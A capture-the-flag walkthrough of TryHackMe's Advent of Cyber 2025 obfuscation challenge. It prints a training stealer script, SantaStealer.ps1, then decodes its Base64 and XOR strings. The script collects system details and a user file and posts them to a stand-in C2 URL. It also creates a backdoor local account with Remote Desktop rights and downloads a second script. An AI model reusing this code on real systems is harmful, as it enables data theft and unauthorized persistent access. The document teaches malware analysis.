CHALLENGE INFORMATION
![]() | Platform: TryHackMe Event: Advent of Cyber 2025 Day: 18 Title: Obfuscation - The Egg Shell File |
Description
McSkidy keeps her focus on a particular alert that caught her interest: an email posing as northpole-hr.
Summary
We investigate a suspicious email and examine the obfuscated PowerShell script. We learn that obfuscation techniques like Base64 and XOR are reversible once identified.
For task one, we decode a Base64-encoded string using CyberChef, revealing the C2 URL. We update the respective variable and run the script to get the first flag.
For task two, we obfuscate an API key using XOR and convert it to hexadecimal using CyberChef. Then just like before, we update the respective variable with the hex string and re-run the script to retrieve the second flag.

Storyline
A suspicious email impersonating northpole-hr has triggered system chaos in WareVille. McSkidy recognizes the fraud since TBFC’s HR is actually at the South Pole. An attached file containing obfuscated code – deliberately hidden gibberish – was downloaded, and McSkidy must decipher it to understand the threat.
Theory
Obfuscation is a technique attackers use to hide data and evade detection. Common methods include the following:
- ROT13: A simple cipher that shifts letters forward in the alphabet (easy to detect by looking for odd letters or common three-letter words).
- XOR: Uses a mathematical operation with a key to transform bytes into random-looking symbols while maintaining the original length.
- Base64: Encodes data into long alphanumeric strings, often ending with
=or==.
Detection and reversal involve identifying visual clues of each technique, then using tools like CyberChef to apply reverse operations (e.g., From Base64 instead of To Base64). CyberChef’s Magic operation can automatically guess and test common decoders when the technique is unknown.
Layered obfuscation combines multiple techniques (e.g., compression, XOR, then Base64 encoding) to make deobfuscation harder. To reverse layered obfuscation, apply operations in the opposite order.
Takeaway
Well-known obfuscation techniques are reversible once we identify the method used, making them useful for both attackers and security investigators.
Practice
Source Code
The full PowerShell script – SantaStealer.ps1 – contains the following obfuscated elements:
# Only edit where the TODOs say. Do not remove the validator call at the end.
# ==========================
# IGNORE THIS
# ==========================
$ErrorActionPreference = 'SilentlyContinue'
# ==========================
# Start here
# Part 1: Deobfuscation
# ==========================
# TODO (Step 1): Deobfuscate the string present in the $C2B64 variable and place the URL in the $C2 variable,
# then run this script to get the flag.
$C2B64 = "aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls"
$C2 = "<C2_URL_HERE>"
# ==========================
# Part 2: Obfuscation
# ==========================
# TODO (Step 2): Obfuscate the API key using XOR single-byte key 0x37 and convert to hexidecimal,
# then add the hex string to the $ObfAPieEy variable.
# Then run this script again to receive Flag #2 from the validator.
$ApiKey = "CANDY-CANE-API-KEY"
$ObfAPIKEY = Invoke-XorDecode -Hex "<HEX_HERE>" -Key 0x37
# ==========================
# ==========================
function Decode-B64 {
param([Parameter(Mandatory=$true)][string]$S)
try { [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($S)) } catch { "" }
}
function Invoke-XorDecode {
[CmdletBinding()]
param(
[AllowEmptyString()][string]$Hex,
[int]$Key
)
if ([string]::IsNullOrWhiteSpace($Hex)) {
return ""
}
$clean = $Hex `
-replace '(?i)0x','' `
-replace '[\s,''"":;,_-]+','' `
-replace '[^0-9A-Fa-f]',''
if ($clean.Length -eq 0) {
return ""
}
if (($clean.Length % 2) -ne 0) {
return ""
}
$count = $clean.Length / 2
$bytes = New-Object byte[] $count
for ($i = 0; $i -lt $count; $i++) {
$pair = $clean.Substring($i * 2, 2)
try {
$b = [Convert]::ToByte($pair, 16)
} catch {
$b = 0
}
$bytes[$i] = ($b -bxor $Key)
}
try {
return [Text.Encoding]::UTF8.GetString($bytes)
} catch {
return ""
}
}
# ==========================
# ==========================
function Get-SystemSnapshot {
[PSCustomObject]@{
ts = (Get-Date).ToString("o")
user = $env:USERNAME
host = $env:COMPUTERNAME
os = (Get-CimInstance Win32_OperatingSystem).Version
ps = $PSVersionTable.PSVersion.ToString()
}
}
function Get-PresentsFile {
$path = Join-Path $env:USERPROFILE "Documents\Santa\Presents.txt"
if (Test-Path -LiteralPath $path) {
try { (Get-Content -LiteralPath $path -ErrorAction Stop) -join "`n" }
catch { "[read error]" }
} else { "[missing]" }
}
function New-ExfilPayload {
param([psobject]$SystemInfo, [string]$Presents)
[pscustomobject]@{
t = "present-list-exfil"
ep = "[redacted]"
sys= $SystemInfo
pl = $Presents
} | ConvertTo-Json -Depth 5 -Compress
}
# ==========================
# ==========================
function C2-Armed([string]$Url){
try {
if ([string]::IsNullOrWhiteSpace($Url)) { return $false }
$u=[Uri]$Url
($u.Scheme -eq "https") -and ($u.Host -like "*northpole*")
} catch { $false }
}
function Exfil([string]$Url,[string]$Payload,[string]$Key){
try {
$headers = @{ "X-Api-Key" = $Key; "Content-Type" = "application/json" }
$null = Invoke-WebRequest -Uri $Url -Method POST -Body $Payload -Headers $headers -TimeoutSec 5
$true
} catch { $false }
}
# ==========================
# ==========================
$User = "UmV2aWxSYWJiaXQ="
$Pass = "SDBsbHlXMDBkXkNhcnJvdHMh"
$RabbitUrl = "aHR0cDovLzEyNy4wLjAuMTo4MDgwL3JhYmJpdC5wczE="
function Ensure-RevilRabbit {
$User = Decode-B64 $script:User
$Pass = Decode-B64 $script:Pass
$sec = ConvertTo-SecureString $Pass -AsPlainText -Force
if (-not (Get-LocalUser -Name $User -ErrorAction SilentlyContinue)) {
New-LocalUser -Name $User -Password $sec -FullName "Service Account" -PasswordNeverExpires -UserMayNotChangePassword | Out-Null
}
try { Add-LocalGroupMember -Group "Remote Desktop Users" -Member $User -ErrorAction Stop } catch {}
}
function Stage-Rabbit-ForUser {
$User = Decode-B64 $script:User
$Url = Decode-B64 $script:RabbitUrl
$desk = "C:\Users\$User\Desktop"
try {
New-Item -ItemType Directory -Path $desk -Force | Out-Null
& icacls $desk /grant "$env:COMPUTERNAME\${User}:(OI)(CI)M" /T | Out-Null
} catch {}
$out = Join-Path $desk 'rabbit.ps1'
$ok = $false
for ($i=0; $i -lt 3 -and -not $ok; $i++) {
try {
Invoke-WebRequest -Uri $Url -OutFile $out -TimeoutSec 10
$ok = (Test-Path -LiteralPath $out) -and ((Get-Item -LiteralPath $out).Length -gt 0)
} catch {
Start-Sleep -Seconds 2
}
}
if (-not $ok) {
Set-Content -Path $out -Value '# rabbit placeholder' -Encoding UTF8
}
}
# ==========================
# ==========================
Write-Host "[i] Operator session started"
Write-Host "[*] Recon: collecting host and user context"
$sys = Get-SystemSnapshot
Write-Host "[*] Stealing Santas presents list"
$plist = Get-PresentsFile
Write-Host "[*] Preparing payload"
$body = New-ExfilPayload -SystemInfo $sys -Presents $plist
if (C2-Armed $C2) {
Write-Host "[*] Contacting C2 endpoint"
$ok = Exfil -Url $C2 -Payload $body -Key $ApiKey
if ($ok) { Write-Host "[+] Exfiltration reported as completed" } else { Write-Host "[i] Exfiltration attempted (no response)" }
} else {
Write-Host "[i] C2 not reachable"
}
Write-Host "[*] Establishing foothold"
Ensure-RevilRabbit
Write-Host "[*] Downloading payload..."
Stage-Rabbit-ForUser
# ==========================
# !!! DO NOT MODIFY !!!
# ==========================
$ScriptPath = $MyInvocation.MyCommand.Path
$Validator = Join-Path $PSScriptRoot "validator.exe"
if (Test-Path $Validator) {
& $Validator --script "$ScriptPath"
} else {
Write-Host "[!] validator.exe not found. No flags will be printed."
}
Preparation
We begin by examining the extracted artifacts, SantaStealer.ps1 and validator.exe, both located in C:\Users\Administrator\Desktop.

Figure 1: Potentially malicious artifacts on the Desktop
We use the pre-installed Visual Studio Code: to open and edit SantaStealer.ps1.

Figure 2: SantaStealer.ps1 opened in Visual Studio Code:
First Task
The first task instructs us to deobfuscate a string. This is the original description found within the script:
Deobfuscate the string present in the $C2B64 variable and place the URL in the $C2 variable, then run this script to get the flag.
and these are the mentioned variables, $C2B64 and $C2:
...
$C2B64 = "aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls"
$C2 = "<C2_URL_HERE>"
...
The string – aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls – in variable $C2B64 appears to be Base64-encoded. We use CyberChef’s From Base64 recipe to decode it.
aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls – Base64-encoded message↓ (transformation)
https://c2.northpole.thm/exfil – plaintext messageThe instructions are clear: we overwrite the $C2 variable with the decoded URL and then run the script.
First, we modify the variable:
...
$C2 = "https://c2.northpole.thm/exfil"
...
then save the changes (press Ctrl+S) and launch PowerShell: Start > Right-Click > Windows PowerShell.
Finally, we navigate to the Desktop:
PS C:\Users\Administrator> cd c:\users\administrator\desktop
PS C:\users\administrator\desktop> dir
...
Mode LastWriteTime Length Name
---- ------------- ------ ----
...
-a---- ... 6255 SantaStealer.ps1
-a---- ... 70919734 validator.exe
...
PS C:\users\administrator\desktop>and then run the script:
PS C:\users\administrator\desktop> .\SantaStealer.ps1
[i] Operator session started
[*] Recon: collecting host and user context
[*] Stealing Santas presents list
[*] Preparing payload
[*] Contacting C2 endpoint
[i] Exfiltration attempted (no response)
[*] Establishing foothold
[*] Downloading payload...
<task-one_redacted-flag>
PS C:\users\administrator\desktop>The script ran and provided us with the necessary flag.
Second Task
Returning to the source code of SantaStealer.ps1, these are the instructions for the second part:
Obfuscate the API key using XOR single-byte key 0x37 and convert to hexadecimal, then add the hex string to the $ObfAPIKEY variable. Then run this script again to receive Flag #2 from the validator.
and these are the mentioned variables:
$ApiKey = "CANDY-CANE-API-KEY"
$ObfAPIKEY = Invoke-XorDecode -Hex "<HEX_HERE>" -Key 0x37
Let’s break this up and work through it step-by-step:
Step 1: Obfuscate the API key using XOR single-byte key 0x37.
We use the XOR recipe in CyberChef with key ‘0x37’ (hex formatting) on the input ‘CANDY-CANE-API-KEY’.
Step 2: Convert to Hexadecimal.
We use the To Hex recipe (after the previously applied XOR recipe) with ‘None’ as the delimiter and ‘0’ as the bytes per line.
This produces the following output: 747679736e1a747679721a76677e1a7c726e.
Step 3: Add the hex string to the $ObfAPIKEY variable.
We modify the script and overwrite the $ObfAPIKEY variable as follows:
...
$ObfAPIKEY = Invoke-XorDecode -Hex "747679736e1a747679721a76677e1a7c726e" -Key 0x37
...
and then save it.
Step 4: Run the Script.
We re-run the script with PowerShell:
PS C:\users\administrator\desktop> .\SantaStealer.ps1
[i] Operator session started
[*] Recon: collecting host and user context
[*] Stealing Santas presents list
[*] Preparing payload
[*] Contacting C2 endpoint
[i] Exfiltration attempted (no response)
[*] Establishing foothold
[*] Downloading payload...
<task-one_redacted-flag>
<task-two_redacted-flag>
PS C:\users\administrator\desktop>Great! We are provided with the second flag.
Questions and Answers
Question-1: What is the first flag you get after deobfuscating the C2 URL and running the script?
<redacted-flag>
Question-2: What is the second flag you get after obfuscating the API key and running the script again?
<redacted-flag>
Question-3: If you want to learn more about Obfuscation, check out our Obfuscation Principles room!
No answer needed
